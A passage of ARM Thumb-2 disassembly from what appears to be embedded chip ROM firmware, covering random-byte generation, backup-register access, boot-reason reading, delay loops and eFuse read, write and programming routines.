10100818: 1000001c .word 0x1000001c 1010081c: 3f807f80 .word 0x3f807f80 10100820: 000f80ff .word 0x000f80ff 10100824 <RandBytes_Get>: 10100824: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10100828: 088e lsrs r6, r1, #2 1010082a: b082 sub sp, #8 1010082c: 460f mov r7, r1 1010082e: 4680 mov r8, r0 10100830: d00c beq.n 1010084c <RandBytes_Get+0x28> 10100832: 2400 movs r4, #0 10100834: 1f05 subs r5, r0, #4 10100836: f7ff ffdb bl 101007f0 <Rand_Arc4> 1010083a: 3401 adds r4, #1 1010083c: 42a6 cmp r6, r4 1010083e: f845 0f04 str.w r0, [r5, #4]! 10100842: d1f8 bne.n 10100836 <RandBytes_Get+0x12> 10100844: ebc6 7386 rsb r3, r6, r6, lsl #30 10100848: eb07 0783 add.w r7, r7, r3, lsl #2 1010084c: b14f cbz r7, 10100862 <RandBytes_Get+0x3e> 1010084e: f7ff ffcf bl 101007f0 <Rand_Arc4> 10100852: a902 add r1, sp, #8 10100854: f841 0d04 str.w r0, [r1, #-4]! 10100858: 463a mov r2, r7 1010085a: eb08 0086 add.w r0, r8, r6, lsl #2 1010085e: 4b03 ldr r3, [pc, #12] ; (1010086c <RandBytes_Get+0x48>) 10100860: 4798 blx r3 10100862: 2000 movs r0, #0 10100864: b002 add sp, #8 10100866: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 1010086a: bf00 nop 1010086c: 10106d15 .word 0x10106d15 10100870 <io_assert_failed>: 10100870: b508 push {r3, lr} 10100872: 4b05 ldr r3, [pc, #20] ; (10100888 <io_assert_failed+0x18>) 10100874: 681b ldr r3, [r3, #0] 10100876: 039b lsls r3, r3, #14 10100878: d400 bmi.n 1010087c <io_assert_failed+0xc> 1010087a: e7fe b.n 1010087a <io_assert_failed+0xa> 1010087c: 460a mov r2, r1 1010087e: 4601 mov r1, r0 10100880: 4802 ldr r0, [pc, #8] ; (1010088c <io_assert_failed+0x1c>) 10100882: f7ff fdb7 bl 101003f4 <DiagPrintf> 10100886: e7f8 b.n 1010087a <io_assert_failed+0xa> 10100888: 1000000c .word 0x1000000c 1010088c: 101d4060 .word 0x101d4060 10100890 <BKUP_Write>: 10100890: 2807 cmp r0, #7 10100892: b538 push {r3, r4, r5, lr} 10100894: 4604 mov r4, r0 10100896: 460d mov r5, r1 10100898: d903 bls.n 101008a2 <BKUP_Write+0x12> 1010089a: 211f movs r1, #31 1010089c: 4803 ldr r0, [pc, #12] ; (101008ac <BKUP_Write+0x1c>) 1010089e: f7ff ffe7 bl 10100870 <io_assert_failed> 101008a2: 4b03 ldr r3, [pc, #12] ; (101008b0 <BKUP_Write+0x20>) 101008a4: f843 5024 str.w r5, [r3, r4, lsl #2] 101008a8: bd38 pop {r3, r4, r5, pc} 101008aa: bf00 nop 101008ac: 101d4f48 .word 0x101d4f48 101008b0: 480003c0 .word 0x480003c0 101008b4 <BKUP_Read>: 101008b4: 2807 cmp r0, #7 101008b6: b510 push {r4, lr} 101008b8: 4604 mov r4, r0 101008ba: d903 bls.n 101008c4 <BKUP_Read+0x10> 101008bc: 212e movs r1, #46 ; 0x2e 101008be: 4803 ldr r0, [pc, #12] ; (101008cc <BKUP_Read+0x18>) 101008c0: f7ff ffd6 bl 10100870 <io_assert_failed> 101008c4: 4b02 ldr r3, [pc, #8] ; (101008d0 <BKUP_Read+0x1c>) 101008c6: f853 0024 ldr.w r0, [r3, r4, lsl #2] 101008ca: bd10 pop {r4, pc} 101008cc: 101d4f54 .word 0x101d4f54 101008d0: 480003c0 .word 0x480003c0 101008d4 <BKUP_Set>: 101008d4: 2807 cmp r0, #7 101008d6: b538 push {r3, r4, r5, lr} 101008d8: 4604 mov r4, r0 101008da: 460d mov r5, r1 101008dc: d903 bls.n 101008e6 <BKUP_Set+0x12> 101008de: 213e movs r1, #62 ; 0x3e 101008e0: 4805 ldr r0, [pc, #20] ; (101008f8 <BKUP_Set+0x24>) 101008e2: f7ff ffc5 bl 10100870 <io_assert_failed> 101008e6: 00a4 lsls r4, r4, #2 101008e8: f104 4490 add.w r4, r4, #1207959552 ; 0x48000000 101008ec: f8d4 33c0 ldr.w r3, [r4, #960] ; 0x3c0 101008f0: 431d orrs r5, r3 101008f2: f8c4 53c0 str.w r5, [r4, #960] ; 0x3c0 101008f6: bd38 pop {r3, r4, r5, pc} 101008f8: 101d4f6c .word 0x101d4f6c 101008fc <BKUP_Clear>: 101008fc: 2807 cmp r0, #7 101008fe: b538 push {r3, r4, r5, lr} 10100900: 4604 mov r4, r0 10100902: 460d mov r5, r1 10100904: d903 bls.n 1010090e <BKUP_Clear+0x12> 10100906: 214e movs r1, #78 ; 0x4e 10100908: 4806 ldr r0, [pc, #24] ; (10100924 <BKUP_Clear+0x28>) 1010090a: f7ff ffb1 bl 10100870 <io_assert_failed> 1010090e: 00a4 lsls r4, r4, #2 10100910: f104 4490 add.w r4, r4, #1207959552 ; 0x48000000 10100914: f8d4 13c0 ldr.w r1, [r4, #960] ; 0x3c0 10100918: ea21 0105 bic.w r1, r1, r5 1010091c: f8c4 13c0 str.w r1, [r4, #960] ; 0x3c0 10100920: bd38 pop {r3, r4, r5, pc} 10100922: bf00 nop 10100924: 101d4f60 .word 0x101d4f60 10100928 <BOOT_Reason>: 10100928: 4b02 ldr r3, [pc, #8] ; (10100934 <BOOT_Reason+0xc>) 1010092a: 6818 ldr r0, [r3, #0] 1010092c: f400 107c and.w r0, r0, #4128768 ; 0x3f0000 10100930: 4770 bx lr 10100932: bf00 nop 10100934: 480003f8 .word 0x480003f8 10100938 <DelayNop>: 10100938: b120 cbz r0, 10100944 <DelayNop+0xc> 1010093a: 2300 movs r3, #0 1010093c: bf00 nop 1010093e: 3301 adds r3, #1 10100940: 4298 cmp r0, r3 10100942: d1fb bne.n 1010093c <DelayNop+0x4> 10100944: 4770 bx lr 10100946: bf00 nop 10100948 <DelayUs>: 10100948: b510 push {r4, lr} 1010094a: 4b0d ldr r3, [pc, #52] ; (10100980 <DelayUs+0x38>) 1010094c: 4604 mov r4, r0 1010094e: 2000 movs r0, #0 10100950: 4798 blx r3 10100952: 4b0c ldr r3, [pc, #48] ; (10100984 <DelayUs+0x3c>) 10100954: fba3 3000 umull r3, r0, r3, r0 10100958: 0c80 lsrs r0, r0, #18 1010095a: fb04 f000 mul.w r0, r4, r0 1010095e: 4c0a ldr r4, [pc, #40] ; (10100988 <DelayUs+0x40>) 10100960: fba4 3000 umull r3, r0, r4, r0 10100964: 4b09 ldr r3, [pc, #36] ; (1010098c <DelayUs+0x44>) 10100966: 681b ldr r3, [r3, #0] 10100968: 0880 lsrs r0, r0, #2 1010096a: b133 cbz r3, 1010097a <DelayUs+0x32> 1010096c: 0c1a lsrs r2, r3, #16 1010096e: b29b uxth r3, r3 10100970: bf18 it ne 10100972: 4350 mulne r0, r2 10100974: b10b cbz r3, 1010097a <DelayUs+0x32> 10100976: fbb0 f0f3 udiv r0, r0, r3 1010097a: 4b05 ldr r3, [pc, #20] ; (10100990 <DelayUs+0x48>) 1010097c: 4798 blx r3 1010097e: bd10 pop {r4, pc} 10100980: 10104515 .word 0x10104515 10100984: 431bde83 .word 0x431bde83 10100988: cccccccd .word 0xcccccccd 1010098c: 10000034 .word 0x10000034 10100990: 10100939 .word 0x10100939 10100994 <DelayMs>: 10100994: f44f 727a mov.w r2, #1000 ; 0x3e8 10100998: b508 push {r3, lr} 1010099a: fb02 f000 mul.w r0, r2, r0 1010099e: 4b01 ldr r3, [pc, #4] ; (101009a4 <DelayMs+0x10>) 101009a0: 4798 blx r3 101009a2: bd08 pop {r3, pc} 101009a4: 10100949 .word 0x10100949 101009a8 <EFUSEPowerSwitch>: 101009a8: 2901 cmp r1, #1 101009aa: d00e beq.n 101009ca <EFUSEPowerSwitch+0x22> 101009ac: 4a1c ldr r2, [pc, #112] ; (10100a20 <EFUSEPowerSwitch+0x78>) 101009ae: 6813 ldr r3, [r2, #0] 101009b0: 2801 cmp r0, #1 101009b2: f423 437f bic.w r3, r3, #65280 ; 0xff00 101009b6: 6013 str r3, [r2, #0] 101009b8: d000 beq.n 101009bc <EFUSEPowerSwitch+0x14> 101009ba: 4770 bx lr 101009bc: f852 3c94 ldr.w r3, [r2, #-148] 101009c0: f023 0301 bic.w r3, r3, #1 101009c4: f842 3c94 str.w r3, [r2, #-148] 101009c8: 4770 bx lr 101009ca: 4915 ldr r1, [pc, #84] ; (10100a20 <EFUSEPowerSwitch+0x78>) 101009cc: 680b ldr r3, [r1, #0] 101009ce: f423 437f bic.w r3, r3, #65280 ; 0xff00 101009d2: f443 43d2 orr.w r3, r3, #26880 ; 0x6900 101009d6: 600b str r3, [r1, #0] 101009d8: f851 3cdc ldr.w r3, [r1, #-220] 101009dc: f013 0f02 tst.w r3, #2 101009e0: bf08 it eq 101009e2: f043 0302 orreq.w r3, r3, #2 101009e6: f1a1 01dc sub.w r1, r1, #220 ; 0xdc 101009ea: bf08 it eq 101009ec: 600b streq r3, [r1, #0] 101009ee: 490d ldr r1, [pc, #52] ; (10100a24 <EFUSEPowerSwitch+0x7c>) 101009f0: 680b ldr r3, [r1, #0] 101009f2: f013 0f02 tst.w r3, #2 101009f6: bf04 itt eq 101009f8: f043 0302 orreq.w r3, r3, #2 101009fc: 600b streq r3, [r1, #0] 101009fe: 2801 cmp r0, #1 10100a00: d1db bne.n 101009ba <EFUSEPowerSwitch+0x12> 10100a02: 4909 ldr r1, [pc, #36] ; (10100a28 <EFUSEPowerSwitch+0x80>) 10100a04: 680b ldr r3, [r1, #0] 10100a06: 0212 lsls r2, r2, #8 10100a08: f423 6370 bic.w r3, r3, #3840 ; 0xf00 10100a0c: f043 0301 orr.w r3, r3, #1 10100a10: f402 6270 and.w r2, r2, #3840 ; 0xf00 10100a14: 431a orrs r2, r3 10100a16: 600a str r2, [r1, #0] 10100a18: 2019 movs r0, #25 10100a1a: 4b04 ldr r3, [pc, #16] ; (10100a2c <EFUSEPowerSwitch+0x84>) 10100a1c: 4718 bx r3 10100a1e: bf00 nop 10100a20: 480002e4 .word 0x480002e4 10100a24: 48000210 .word 0x48000210 10100a28: 48000250 .word 0x48000250 10100a2c: 10100949 .word 0x10100949 10100a30 <EFUSERead8>: 10100a30: e92d 43f8 stmdb sp!, {r3, r4, r5, r6, r7, r8, r9, lr} 10100a34: 4689 mov r9, r1 10100a36: 4690 mov r8, r2 10100a38: 492e ldr r1, [pc, #184] ; (10100af4 <EFUSERead8+0xc4>) 10100a3a: e841 f100 tt r1, r1 10100a3e: 024a lsls r2, r1, #9 10100a40: 4604 mov r4, r0 10100a42: d547 bpl.n 10100ad4 <EFUSERead8+0xa4> 10100a44: 4d2c ldr r5, [pc, #176] ; (10100af8 <EFUSERead8+0xc8>) 10100a46: 4a2d ldr r2, [pc, #180] ; (10100afc <EFUSERead8+0xcc>) 10100a48: f5a9 71a8 sub.w r1, r9, #336 ; 0x150 10100a4c: 292f cmp r1, #47 ; 0x2f 10100a4e: bf88 it hi 10100a50: 4615 movhi r5, r2 10100a52: b904 cbnz r4, 10100a56 <EFUSERead8+0x26> 10100a54: 682c ldr r4, [r5, #0] 10100a56: f5b9 7f00 cmp.w r9, #512 ; 0x200 10100a5a: d30a bcc.n 10100a72 <EFUSERead8+0x42> 10100a5c: f242 62ae movw r2, #9902 ; 0x26ae 10100a60: b2a1 uxth r1, r4 10100a62: 4291 cmp r1, r2 10100a64: d005 beq.n 10100a72 <EFUSERead8+0x42> 10100a66: 23ff movs r3, #255 ; 0xff 10100a68: f888 3000 strb.w r3, [r8] 10100a6c: 2000 movs r0, #0 10100a6e: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc} 10100a72: 461a mov r2, r3 10100a74: 2101 movs r1, #1 10100a76: 2000 movs r0, #0 10100a78: f7ff ff96 bl 101009a8 <EFUSEPowerSwitch> 10100a7c: 4820 ldr r0, [pc, #128] ; (10100b00 <EFUSERead8+0xd0>) 10100a7e: 4921 ldr r1, [pc, #132] ; (10100b04 <EFUSERead8+0xd4>) 10100a80: 4b21 ldr r3, [pc, #132] ; (10100b08 <EFUSERead8+0xd8>) 10100a82: 6802 ldr r2, [r0, #0] 10100a84: ea01 2109 and.w r1, r1, r9, lsl #8 10100a88: 4023 ands r3, r4 10100a8a: 430b orrs r3, r1 10100a8c: f422 6280 bic.w r2, r2, #1024 ; 0x400 10100a90: 6002 str r2, [r0, #0] 10100a92: 602b str r3, [r5, #0] 10100a94: 682b ldr r3, [r5, #0] 10100a96: 2b00 cmp r3, #0 10100a98: db11 blt.n 10100abe <EFUSERead8+0x8e> 10100a9a: 2400 movs r4, #0 10100a9c: f644 6720 movw r7, #20000 ; 0x4e20 10100aa0: 4e1a ldr r6, [pc, #104] ; (10100b0c <EFUSERead8+0xdc>) 10100aa2: e001 b.n 10100aa8 <EFUSERead8+0x78> 10100aa4: 42bc cmp r4, r7 10100aa6: d017 beq.n 10100ad8 <EFUSERead8+0xa8> 10100aa8: 2005 movs r0, #5 10100aaa: 47b0 blx r6 10100aac: 682b ldr r3, [r5, #0] 10100aae: 2b00 cmp r3, #0 10100ab0: f104 0401 add.w r4, r4, #1 10100ab4: daf6 bge.n 10100aa4 <EFUSERead8+0x74> 10100ab6: f644 6320 movw r3, #20000 ; 0x4e20 10100aba: 429c cmp r4, r3 10100abc: d00c beq.n 10100ad8 <EFUSERead8+0xa8> 10100abe: 2001 movs r0, #1 10100ac0: 682b ldr r3, [r5, #0] 10100ac2: f888 3000 strb.w r3, [r8] 10100ac6: 4a12 ldr r2, [pc, #72] ; (10100b10 <EFUSERead8+0xe0>) 10100ac8: 6813 ldr r3, [r2, #0] 10100aca: f423 437f bic.w r3, r3, #65280 ; 0xff00 10100ace: 6013 str r3, [r2, #0] 10100ad0: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc} 10100ad4: 4d09 ldr r5, [pc, #36] ; (10100afc <EFUSERead8+0xcc>) 10100ad6: e7bc b.n 10100a52 <EFUSERead8+0x22> 10100ad8: 22ff movs r2, #255 ; 0xff 10100ada: 4b0e ldr r3, [pc, #56] ; (10100b14 <EFUSERead8+0xe4>) 10100adc: f888 2000 strb.w r2, [r8] 10100ae0: 6818 ldr r0, [r3, #0] 10100ae2: f410 3000 ands.w r0, r0, #131072 ; 0x20000 10100ae6: d0ee beq.n 10100ac6 <EFUSERead8+0x96> 10100ae8: 4649 mov r1, r9 10100aea: 480b ldr r0, [pc, #44] ; (10100b18 <EFUSERead8+0xe8>) 10100aec: f7ff fc82 bl 101003f4 <DiagPrintf> 10100af0: 2000 movs r0, #0 10100af2: e7e8 b.n 10100ac6 <EFUSERead8+0x96> 10100af4: 101003f5 .word 0x101003f5 10100af8: 50000810 .word 0x50000810 10100afc: 480002e8 .word 0x480002e8 10100b00: 480002ec .word 0x480002ec 10100b04: 0003ff00 .word 0x0003ff00 10100b08: 7ffc0000 .word 0x7ffc0000 10100b0c: 10100949 .word 0x10100949 10100b10: 480002e4 .word 0x480002e4 10100b14: 1000000c .word 0x1000000c 10100b18: 101d4098 .word 0x101d4098 10100b1c <EFUSEWrite8>: 10100b1c: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10100b20: 4688 mov r8, r1 10100b22: 4616 mov r6, r2 10100b24: 4935 ldr r1, [pc, #212] ; (10100bfc <EFUSEWrite8+0xe0>) 10100b26: e841 f100 tt r1, r1 10100b2a: 024a lsls r2, r1, #9 10100b2c: 4604 mov r4, r0 10100b2e: d555 bpl.n 10100bdc <EFUSEWrite8+0xc0> 10100b30: 4d33 ldr r5, [pc, #204] ; (10100c00 <EFUSEWrite8+0xe4>) 10100b32: 4a34 ldr r2, [pc, #208] ; (10100c04 <EFUSEWrite8+0xe8>) 10100b34: f5a8 71a8 sub.w r1, r8, #336 ; 0x150 10100b38: 292f cmp r1, #47 ; 0x2f 10100b3a: bf88 it hi 10100b3c: 4615 movhi r5, r2 10100b3e: b904 cbnz r4, 10100b42 <EFUSEWrite8+0x26> 10100b40: 682c ldr r4, [r5, #0] 10100b42: f5b8 7f00 cmp.w r8, #512 ; 0x200 10100b46: d307 bcc.n 10100b58 <EFUSEWrite8+0x3c> 10100b48: f241 529d movw r2, #5533 ; 0x159d 10100b4c: b2a1 uxth r1, r4 10100b4e: 4291 cmp r1, r2 10100b50: d002 beq.n 10100b58 <EFUSEWrite8+0x3c> 10100b52: 2000 movs r0, #0 10100b54: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 10100b58: 2101 movs r1, #1 10100b5a: 461a mov r2, r3 10100b5c: 4608 mov r0, r1 10100b5e: f7ff ff23 bl 101009a8 <EFUSEPowerSwitch> 10100b62: 4f29 ldr r7, [pc, #164] ; (10100c08 <EFUSEWrite8+0xec>) 10100b64: 4829 ldr r0, [pc, #164] ; (10100c0c <EFUSEWrite8+0xf0>) 10100b66: 4a2a ldr r2, [pc, #168] ; (10100c10 <EFUSEWrite8+0xf4>) 10100b68: 6839 ldr r1, [r7, #0] 10100b6a: f046 4300 orr.w r3, r6, #2147483648 ; 0x80000000 10100b6e: ea00 2008 and.w r0, r0, r8, lsl #8 10100b72: 4303 orrs r3, r0 10100b74: 4022 ands r2, r4 10100b76: 4313 orrs r3, r2 10100b78: f441 6280 orr.w r2, r1, #1024 ; 0x400 10100b7c: 603a str r2, [r7, #0] 10100b7e: 2014 movs r0, #20 10100b80: 602b str r3, [r5, #0] 10100b82: 4e24 ldr r6, [pc, #144] ; (10100c14 <EFUSEWrite8+0xf8>) 10100b84: 47b0 blx r6 10100b86: 682b ldr r3, [r5, #0] 10100b88: 2b00 cmp r3, #0 10100b8a: da10 bge.n 10100bae <EFUSEWrite8+0x92> 10100b8c: 2400 movs r4, #0 10100b8e: f644 6720 movw r7, #20000 ; 0x4e20 10100b92: e001 b.n 10100b98 <EFUSEWrite8+0x7c> 10100b94: 42bc cmp r4, r7 10100b96: d023 beq.n 10100be0 <EFUSEWrite8+0xc4> 10100b98: 2005 movs r0, #5 10100b9a: 47b0 blx r6 10100b9c: 682b ldr r3, [r5, #0] 10100b9e: 2b00 cmp r3, #0 10100ba0: f104 0401 add.w r4, r4, #1 10100ba4: dbf6 blt.n 10100b94 <EFUSEWrite8+0x78> 10100ba6: f644 6320 movw r3, #20000 ; 0x4e20 10100baa: 429c cmp r4, r3 10100bac: d018 beq.n 10100be0 <EFUSEWrite8+0xc4> 10100bae: 2401 movs r4, #1 10100bb0: 4a15 ldr r2, [pc, #84] ; (10100c08 <EFUSEWrite8+0xec>) 10100bb2: 6813 ldr r3, [r2, #0] 10100bb4: f423 6380 bic.w r3, r3, #1024 ; 0x400 10100bb8: 6013 str r3, [r2, #0] 10100bba: f852 3c08 ldr.w r3, [r2, #-8] 10100bbe: f423 437f bic.w r3, r3, #65280 ; 0xff00 10100bc2: f842 3c08 str.w r3, [r2, #-8] 10100bc6: f852 3c9c ldr.w r3, [r2, #-156] 10100bca: f023 0301 bic.w r3, r3, #1 10100bce: f842 3c9c str.w r3, [r2, #-156] 10100bd2: 20c8 movs r0, #200 ; 0xc8 10100bd4: 47b0 blx r6 10100bd6: 4620 mov r0, r4 10100bd8: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 10100bdc: 4d09 ldr r5, [pc, #36] ; (10100c04 <EFUSEWrite8+0xe8>) 10100bde: e7ae b.n 10100b3e <EFUSEWrite8+0x22> 10100be0: 4b0d ldr r3, [pc, #52] ; (10100c18 <EFUSEWrite8+0xfc>) 10100be2: 6818 ldr r0, [r3, #0] 10100be4: f410 3000 ands.w r0, r0, #131072 ; 0x20000 10100be8: bf08 it eq 10100bea: 4604 moveq r4, r0 10100bec: d0e0 beq.n 10100bb0 <EFUSEWrite8+0x94> 10100bee: 4641 mov r1, r8 10100bf0: 480a ldr r0, [pc, #40] ; (10100c1c <EFUSEWrite8+0x100>) 10100bf2: f7ff fbff bl 101003f4 <DiagPrintf> 10100bf6: 2400 movs r4, #0 10100bf8: e7da b.n 10100bb0 <EFUSEWrite8+0x94> 10100bfa: bf00 nop 10100bfc: 101003f5 .word 0x101003f5 10100c00: 50000810 .word 0x50000810 10100c04: 480002e8 .word 0x480002e8 10100c08: 480002ec .word 0x480002ec 10100c0c: 0003ff00 .word 0x0003ff00 10100c10: 7ffc0000 .word 0x7ffc0000 10100c14: 10100949 .word 0x10100949 10100c18: 1000000c .word 0x1000000c 10100c1c: 101d40b0 .word 0x101d40b0 10100c20 <EFUSE_PG_Packet>: 10100c20: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10100c24: f001 070f and.w r7, r1, #15 10100c28: 2f0f cmp r7, #15 10100c2a: b085 sub sp, #20 10100c2c: d070 beq.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100c2e: 4d92 ldr r5, [pc, #584] ; (10100e78 <EFUSE_PG_Packet+0x258>) 10100c30: 68ab ldr r3, [r5, #8] 10100c32: f413 4300 ands.w r3, r3, #32768 ; 0x8000 10100c36: 4616 mov r6, r2 10100c38: 4681 mov r9, r0 10100c3a: 4688 mov r8, r1 10100c3c: f040 8094 bne.w 10100d68 <EFUSE_PG_Packet+0x148> 10100c40: f04f 0a00 mov.w sl, #0 10100c44: 4c8d ldr r4, [pc, #564] ; (10100e7c <EFUSE_PG_Packet+0x25c>) 10100c46: b94b cbnz r3, 10100c5c <EFUSE_PG_Packet+0x3c> 10100c48: f10a 0a01 add.w sl, sl, #1 10100c4c: f1ba 0f08 cmp.w sl, #8 10100c50: d00f beq.n 10100c72 <EFUSE_PG_Packet+0x52> 10100c52: 68ab ldr r3, [r5, #8] 10100c54: f403 4300 and.w r3, r3, #32768 ; 0x8000 10100c58: 2b00 cmp r3, #0 10100c5a: d0f5 beq.n 10100c48 <EFUSE_PG_Packet+0x28> 10100c5c: f816 200a ldrb.w r2, [r6, sl] 10100c60: 4651 mov r1, sl 10100c62: 4620 mov r0, r4 10100c64: f10a 0a01 add.w sl, sl, #1 10100c68: f7ff fbc4 bl 101003f4 <DiagPrintf> 10100c6c: f1ba 0f08 cmp.w sl, #8 10100c70: d1ef bne.n 10100c52 <EFUSE_PG_Packet+0x32> 10100c72: 2400 movs r4, #0 10100c74: 2307 movs r3, #7 10100c76: f10d 020e add.w r2, sp, #14 10100c7a: 4621 mov r1, r4 10100c7c: 2000 movs r0, #0 10100c7e: f7ff fed7 bl 10100a30 <EFUSERead8> 10100c82: f89d 300e ldrb.w r3, [sp, #14] 10100c86: 2bff cmp r3, #255 ; 0xff 10100c88: d010 beq.n 10100cac <EFUSE_PG_Packet+0x8c> 10100c8a: f003 020f and.w r2, r3, #15 10100c8e: 2a0f cmp r2, #15 10100c90: d042 beq.n 10100d18 <EFUSE_PG_Packet+0xf8> 10100c92: 43db mvns r3, r3 10100c94: f013 030f ands.w r3, r3, #15 10100c98: d004 beq.n 10100ca4 <EFUSE_PG_Packet+0x84> 10100c9a: 07d8 lsls r0, r3, #31 10100c9c: bf48 it mi 10100c9e: 3402 addmi r4, #2 10100ca0: 085b lsrs r3, r3, #1 10100ca2: d1fa bne.n 10100c9a <EFUSE_PG_Packet+0x7a> 10100ca4: 3401 adds r4, #1 10100ca6: f5b4 7f8f cmp.w r4, #286 ; 0x11e 10100caa: d3e3 bcc.n 10100c74 <EFUSE_PG_Packet+0x54> 10100cac: f018 0f01 tst.w r8, #1 10100cb0: bf0c ite eq 10100cb2: f04f 0a02 moveq.w sl, #2 10100cb6: f04f 0a00 movne.w sl, #0 10100cba: f018 0f02 tst.w r8, #2 10100cbe: bf08 it eq 10100cc0: f10a 0a02 addeq.w sl, sl, #2 10100cc4: 68ab ldr r3, [r5, #8] 10100cc6: f018 0f04 tst.w r8, #4 10100cca: bf08 it eq 10100ccc: f10a 0a02 addeq.w sl, sl, #2 10100cd0: f018 0f08 tst.w r8, #8 10100cd4: bf08 it eq 10100cd6: f10a 0a02 addeq.w sl, sl, #2 10100cda: 0419 lsls r1, r3, #16 10100cdc: d43d bmi.n 10100d5a <EFUSE_PG_Packet+0x13a> 10100cde: eb0a 0304 add.w r3, sl, r4 10100ce2: f5b3 7f8f cmp.w r3, #286 ; 0x11e 10100ce6: d22f bcs.n 10100d48 <EFUSE_PG_Packet+0x128> 10100ce8: f1b9 0f0e cmp.w r9, #14 10100cec: 68ab ldr r3, [r5, #8] 10100cee: d944 bls.n 10100d7a <EFUSE_PG_Packet+0x15a> 10100cf0: ea4f 1849 mov.w r8, r9, lsl #5 10100cf4: 041a lsls r2, r3, #16 10100cf6: f048 080f orr.w r8, r8, #15 10100cfa: f100 8099 bmi.w 10100e30 <EFUSE_PG_Packet+0x210> 10100cfe: f008 02ef and.w r2, r8, #239 ; 0xef 10100d02: 2307 movs r3, #7 10100d04: 4621 mov r1, r4 10100d06: 2000 movs r0, #0 10100d08: f7ff ff08 bl 10100b1c <EFUSEWrite8> 10100d0c: 2801 cmp r0, #1 10100d0e: d074 beq.n 10100dfa <EFUSE_PG_Packet+0x1da> 10100d10: 2000 movs r0, #0 10100d12: b005 add sp, #20 10100d14: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100d18: 3401 adds r4, #1 10100d1a: 2307 movs r3, #7 10100d1c: 4621 mov r1, r4 10100d1e: f10d 020f add.w r2, sp, #15 10100d22: 2000 movs r0, #0 10100d24: f7ff fe84 bl 10100a30 <EFUSERead8> 10100d28: f89d 300f ldrb.w r3, [sp, #15] 10100d2c: 43db mvns r3, r3 10100d2e: f013 030f ands.w r3, r3, #15 10100d32: d0b7 beq.n 10100ca4 <EFUSE_PG_Packet+0x84> 10100d34: 07da lsls r2, r3, #31 10100d36: bf48 it mi 10100d38: 3402 addmi r4, #2 10100d3a: 085b lsrs r3, r3, #1 10100d3c: d1fa bne.n 10100d34 <EFUSE_PG_Packet+0x114> 10100d3e: 3401 adds r4, #1 10100d40: f5b4 7f8f cmp.w r4, #286 ; 0x11e 10100d44: d396 bcc.n 10100c74 <EFUSE_PG_Packet+0x54> 10100d46: e7b1 b.n 10100cac <EFUSE_PG_Packet+0x8c> 10100d48: 682b ldr r3, [r5, #0] 10100d4a: 041b lsls r3, r3, #16 10100d4c: d5e0 bpl.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100d4e: 4652 mov r2, sl 10100d50: 4621 mov r1, r4 10100d52: 484b ldr r0, [pc, #300] ; (10100e80 <EFUSE_PG_Packet+0x260>) 10100d54: f7ff fb4e bl 101003f4 <DiagPrintf> 10100d58: e7da b.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100d5a: 463b mov r3, r7 10100d5c: 4652 mov r2, sl 10100d5e: 4949 ldr r1, [pc, #292] ; (10100e84 <EFUSE_PG_Packet+0x264>) 10100d60: 4849 ldr r0, [pc, #292] ; (10100e88 <EFUSE_PG_Packet+0x268>) 10100d62: f7ff fb47 bl 101003f4 <DiagPrintf> 10100d66: e7ba b.n 10100cde <EFUSE_PG_Packet+0xbe> 10100d68: 460a mov r2, r1 10100d6a: 4601 mov r1, r0 10100d6c: 4847 ldr r0, [pc, #284] ; (10100e8c <EFUSE_PG_Packet+0x26c>) 10100d6e: f7ff fb41 bl 101003f4 <DiagPrintf> 10100d72: 68ab ldr r3, [r5, #8] 10100d74: f403 4300 and.w r3, r3, #32768 ; 0x8000 10100d78: e762 b.n 10100c40 <EFUSE_PG_Packet+0x20> 10100d7a: 0418 lsls r0, r3, #16 10100d7c: ea47 1909 orr.w r9, r7, r9, lsl #4 10100d80: d44f bmi.n 10100e22 <EFUSE_PG_Packet+0x202> 10100d82: fa5f f289 uxtb.w r2, r9 10100d86: 2307 movs r3, #7 10100d88: 4621 mov r1, r4 10100d8a: 2000 movs r0, #0 10100d8c: f7ff fec6 bl 10100b1c <EFUSEWrite8> 10100d90: 2801 cmp r0, #1 10100d92: d1bd bne.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100d94: 3401 adds r4, #1 10100d96: f04f 0800 mov.w r8, #0 10100d9a: f8df b0e8 ldr.w fp, [pc, #232] ; 10100e84 <EFUSE_PG_Packet+0x264> 10100d9e: 46b1 mov r9, r6 10100da0: 3601 adds r6, #1 10100da2: fa47 f308 asr.w r3, r7, r8 10100da6: f013 0f01 tst.w r3, #1 10100daa: f104 0a01 add.w sl, r4, #1 10100dae: d117 bne.n 10100de0 <EFUSE_PG_Packet+0x1c0> 10100db0: 68ab ldr r3, [r5, #8] 10100db2: 0419 lsls r1, r3, #16 10100db4: d44d bmi.n 10100e52 <EFUSE_PG_Packet+0x232> 10100db6: 2307 movs r3, #7 10100db8: f899 2000 ldrb.w r2, [r9] 10100dbc: 4621 mov r1, r4 10100dbe: 2000 movs r0, #0 10100dc0: f7ff feac bl 10100b1c <EFUSEWrite8> 10100dc4: 2801 cmp r0, #1 10100dc6: d1a3 bne.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100dc8: 68ab ldr r3, [r5, #8] 10100dca: 041a lsls r2, r3, #16 10100dcc: d437 bmi.n 10100e3e <EFUSE_PG_Packet+0x21e> 10100dce: 4651 mov r1, sl 10100dd0: 2307 movs r3, #7 10100dd2: 7832 ldrb r2, [r6, #0] 10100dd4: 2000 movs r0, #0 10100dd6: f7ff fea1 bl 10100b1c <EFUSEWrite8> 10100dda: 2801 cmp r0, #1 10100ddc: d198 bne.n 10100d10 <EFUSE_PG_Packet+0xf0> 10100dde: 3402 adds r4, #2 10100de0: f108 0801 add.w r8, r8, #1 10100de4: f1b8 0f04 cmp.w r8, #4 10100de8: f106 0602 add.w r6, r6, #2 10100dec: f109 0902 add.w r9, r9, #2 10100df0: d1d7 bne.n 